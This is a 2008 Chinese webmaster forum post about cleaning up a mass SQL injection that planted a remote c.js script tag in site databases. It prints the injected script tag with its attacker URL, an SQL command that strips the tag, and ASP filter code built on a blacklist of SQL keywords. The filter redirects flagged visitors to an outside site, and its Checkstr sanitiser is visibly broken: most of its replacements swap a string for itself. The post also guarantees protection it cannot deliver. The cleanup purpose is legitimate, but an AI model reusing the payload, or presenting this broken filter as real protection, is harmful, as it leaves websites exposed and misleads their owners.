帮助网站站长解决最近流行的com/css/c.js注入问题

帮助网站站长解决最近流行的com/css/c.js注入问题！ - zifanqd 2008-12-08 19:23

　　我找了很多人，但是都没有给我解决掉。骗子太多了。

现在我站出来，希望能帮助大家解决掉问题，如果你的站也跟我说的一样，请按照我的文字做

下去。
　　
　　 最终还是通过自己写的代码解决了问题。
　　
　　SQL注入问题，com/css/c.js病毒的清除方法。
　　最近流行的病毒SQL代码：Script Src=http://c.nu%63%6Cear3.com/css/c.js>
　　现已找到解决办法。
　　暂时清除的办法可以使用如下命令：
　　update 表名 set 表项=replace(cast(表项 as varchar(8000)),’病毒代码段’,’’)

如下我写的一段标准的：
update hezu set Xiaoqm=replace(cast(Xiaoqm as varchar(8000)),' <Script

Src=http://c.nu%63%6Cear3.com/css/c.js> </Script>','')

这个可以回车换行后，多条一起执行的。
　　
　　在查询分析器中执行即可。
　　
　　直接的清除方法，需要在CONN.ASP中加入：
　　如下代码：
　　
　　
<%
function tabConvert(str)
dim tempstr
dim theStr
dim canConvert
dim theChr
tempStr=str
theChr=""
theStr=""
canConvert=1
for i=1 to len(tempStr)
theChr=mid(tempStr,i,1)
if theChr=" <" then
canConvert=0
end if
if theChr=">" then
canConvert=1
end if
if theChr=" " and canConvert=1 then
theChr= " "
end if
theStr=theStr&theChr
next
theStr=replace(theStr,chr(13)," <br>")
tabConvert=theStr
End function
%>

<%
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx

Fy_Cl = 3 '
Fy_Zx = "http://www.1jia.cc" '
On Error Resume Next
Fy_Url=Request.ServerVariables("QUERY_STRING")
Fy_a=split(Fy_Url,"&")
redim Fy_Cs(ubound(Fy_a))
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)
Next
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x) <>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'") <>0 or Instr(LCase(Request(Fy_Cs

(Fy_x))),"and") <>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select") <>0 or Instr

(LCase(Request(Fy_Cs(Fy_x))),"update") <>0 or Instr(LCase(Request(Fy_Cs

(Fy_x))),"chr") <>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from") <>0 or

Instr(LCase(Request(Fy_Cs(Fy_x))),";") <>0 or Instr(LCase(Request(Fy_Cs

(Fy_x))),"insert") <>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid") <>0 Or Instr

(LCase(Request(Fy_Cs(Fy_x))),"master.") <>0 Then
Select Case Fy_Cl
Case "1"
Response.Write " <Script Language=JavaScript>alert(' oh "&Fy_Cs(Fy_x)&" wrong！/n/n

please not：and,select,update,insert,delete,chr ！/n/nNot SQL，go

out！');window.close(); </Script>"
Case "2"
Response.Write " <Script Language=JavaScript>location.href='"&Fy_Zx&"' </Script>"
Case "3"
Response.Write " <Script Language=JavaScript>alert(' go out！go out "&Fy_Cs(Fy_x)

&"go out！/n/n go out：,and,select,update,insert,delete,chr go out！/n/ngo

out！');location.href='"&Fy_Zx&"'; </Script>"
End Select
Response.End
End If
End If
Next
%>
<%
Function Checkstr(Str)
If Isnull(Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"", 1, -1, 1)
Str = Replace(Str," <"," <", 1, -1, 1)
Str = Replace(Str,">",">", 1, -1, 1)
Str = Replace(Str, "script", "script", 1, -1, 0)
Str = Replace(Str, "SCRIPT", "SCRIPT", 1, -1, 0)
Str = Replace(Str, "Script", "Script", 1, -1, 0)
Str = Replace(Str, "script", "Script", 1, -1, 1)
Str = Replace(Str, "object", "object", 1, -1, 0)
Str = Replace(Str, "OBJECT", "OBJECT", 1, -1, 0)
Str = Replace(Str, "Object", "Object", 1, -1, 0)
Str = Replace(Str, "object", "Object", 1, -1, 1)
Str = Replace(Str, "applet", "applet", 1, -1, 0)
Str = Replace(Str, "APPLET", "APPLET", 1, -1, 0)
Str = Replace(Str, "Applet", "Applet", 1, -1, 0)
Str = Replace(Str, "applet", "Applet", 1, -1, 1)
Str = Replace(Str, "[", "[")
Str = Replace(Str, "]", "]")
Str = Replace(Str, """", "", 1, -1, 1)
Str = Replace(Str, "=", "=", 1, -1, 1)
Str = Replace(Str, "'", "''", 1, -1, 1)
Str = Replace(Str, "select", "select", 1, -1, 1)
Str = Replace(Str, "execute", "execute", 1, -1, 1)
Str = Replace(Str, "exec", "exec", 1, -1, 1)
Str = Replace(Str, "join", "join", 1, -1, 1)
Str = Replace(Str, "union", "union", 1, -1, 1)
Str = Replace(Str, "where", "where", 1, -1, 1)
Str = Replace(Str, "insert", "insert", 1, -1, 1)
Str = Replace(Str, "delete", "delete", 1, -1, 1)
Str = Replace(Str, "update", "update", 1, -1, 1)
Str = Replace(Str, "like", "like", 1, -1, 1)
Str = Replace(Str, "drop", "drop", 1, -1, 1)
Str = Replace(Str, "create", "create", 1, -1, 1)
Str = Replace(Str, "rename", "rename", 1, -1, 1)
Str = Replace(Str, "count", "count", 1, -1, 1)
Str = Replace(Str, "chr", "chr", 1, -1, 1)
Str = Replace(Str, "mid", "mid", 1, -1, 1)
Str = Replace(Str, "truncate", "truncate", 1, -1, 1)
Str = Replace(Str, "nchar", "nchar", 1, -1, 1)
Str = Replace(Str, "char", "char", 1, -1, 1)
Str = Replace(Str, "alter", "alter", 1, -1, 1)
Str = Replace(Str, "cast", "cast", 1, -1, 1)
Str = Replace(Str, "exists", "exists", 1, -1, 1)
Str = Replace(Str,Chr(13)," <br>", 1, -1, 1)
CheckStr = Replace(Str,"'","''", 1, -1, 1)
End Function
%>

　　好了，如果你还有不明白的，可以联系我QQ：528407
　　
　　保证你不再被入侵。